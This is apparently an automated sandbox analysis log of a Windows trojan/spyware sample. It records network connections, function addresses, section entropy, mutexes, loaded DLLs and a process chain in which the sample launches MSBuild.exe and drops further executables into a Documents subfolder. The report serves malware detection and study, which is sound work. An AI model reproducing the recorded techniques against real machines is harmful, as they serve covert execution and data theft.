Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.10:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.10:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.3.46:443 -> 192.168.2.10:49802 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0042BF20 __aulldiv,VirtualAlloc,__aulldiv,__aulldiv,NtQuerySystemInformation,__aulldiv,WideCharToMultiByte,CharToOemA,VirtualFree,__aulldiv,

2_2_0042BF20

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A6E076	1_2_00A6E076
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A59382	1_2_00A59382
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A734C0	1_2_00A734C0
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A565D5	1_2_00A565D5
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A6A510	1_2_00A6A510
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A6D844	1_2_00A6D844
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A69DB2	1_2_00A69DB2
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A69D70	1_2_00A69D70
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A41E05	1_2_00A41E05
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A69FE0	1_2_00A69FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004400A0	2_2_004400A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004CE2E0	2_2_004CE2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004263E0	2_2_004263E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042B840	2_2_0042B840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004358A0	2_2_004358A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042F900	2_2_0042F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004309A0	2_2_004309A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00441AF0	2_2_00441AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00433CF0	2_2_00433CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00436CA0	2_2_00436CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00508D80	2_2_00508D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00432DB0	2_2_00432DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00433F10	2_2_00433F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0056703D	2_2_0056703D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004210E0	2_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00402100	2_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004213A0	2_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00423480	2_2_00423480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0040B5E0	2_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00405640	2_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00422640	2_2_00422640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00440600	2_2_00440600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00402630	2_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_005166C5	2_2_005166C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042C740	2_2_0042C740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0056274C	2_2_0056274C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0054D74A	2_2_0054D74A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00421820	2_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00429830	2_2_00429830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_005128D0	2_2_005128D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_005168C0	2_2_005168C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_004428D0	2_2_004428D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00543889	2_2_00543889
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00423900	2_2_00423900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041E9E0	2_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00561B30	2_2_00561B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00449D20	2_2_00449D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00424E70	2_2_00424E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042CEF0	2_2_0042CEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00542EE0	2_2_00542EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00401E90	2_2_00401E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00551F50	2_2_00551F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0054FF18	2_2_0054FF18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0042BF20	2_2_0042BF20
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00962094	8_2_00962094
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00979382	8_2_00979382
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_009765D5	8_2_009765D5
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00961E05	8_2_00961E05
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD2094	9_2_00CD2094
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D251C3	9_2_00D251C3
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CE9382	9_2_00CE9382
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D19377	9_2_00D19377
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D114FD	9_2_00D114FD
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D14465	9_2_00D14465
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CE65D5	9_2_00CE65D5
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D25561	9_2_00D25561
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D13705	9_2_00D13705
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D25933	9_2_00D25933
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D25D1B	9_2_00D25D1B
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D24D2E	9_2_00D24D2E
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD1E05	9_2_00CD1E05
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041B825	14_2_0041B825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0042DA53	14_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0042D2E3	14_2_0042D2E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041C585	14_2_0041C585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0042CE4E	14_2_0042CE4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041961D	14_2_0041961D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0042DE3B	14_2_0042DE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0042D681	14_2_0042D681

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004172E0 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0053EA30 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104E7 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: String function: 00A479D0 appears 46 times
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: String function: 00CD79D0 appears 51 times
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: String function: 009679D0 appears 51 times

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8108 -s 260

Source: d1bc91bd44a0.exe	Binary or memory string: OriginalFilename vs d1bc91bd44a0.exe
Source: d1bc91bd44a0.exe, 00000001.00000000.1310923208.0000000000C45000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamexwizard.exej% vs d1bc91bd44a0.exe
Source: d1bc91bd44a0.exe, 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs d1bc91bd44a0.exe
Source: d1bc91bd44a0.exe	Binary or memory string: OriginalFilenamexwizard.exej% vs d1bc91bd44a0.exe

Source: d1bc91bd44a0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: d1bc91bd44a0.exe	Static PE information: Section: .data ZLIB complexity 0.9985953096270029
Source: f2e7fcb20146[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.98989375
Source: 2OJr0kqvYIvMGmMoMnnzAHbc.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.98989375
Source: 7f3c2473d1e6[1].exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9919220753205128
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe.2.dr	Static PE information: Section: .data ZLIB complexity 0.9919220753205128

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/26@5/7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_00418680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

10_2_00418680

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_004327D0 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,VariantClear,CoUninitialize,

2_2_004327D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\Documents\iofolko5

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6196
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1844:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5924
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\KejwopdnfWW_4
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5752
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8108

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\bdc2c03a-0a2e-49bc-b848-1c89b27791b4

Jump to behavior

Source: d1bc91bd44a0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: d1bc91bd44a0.exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\d1bc91bd44a0.exe "C:\Users\user\Desktop\d1bc91bd44a0.exe"
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8108 -s 260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6196 -s 260
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5924 -s 1420
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 1272
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
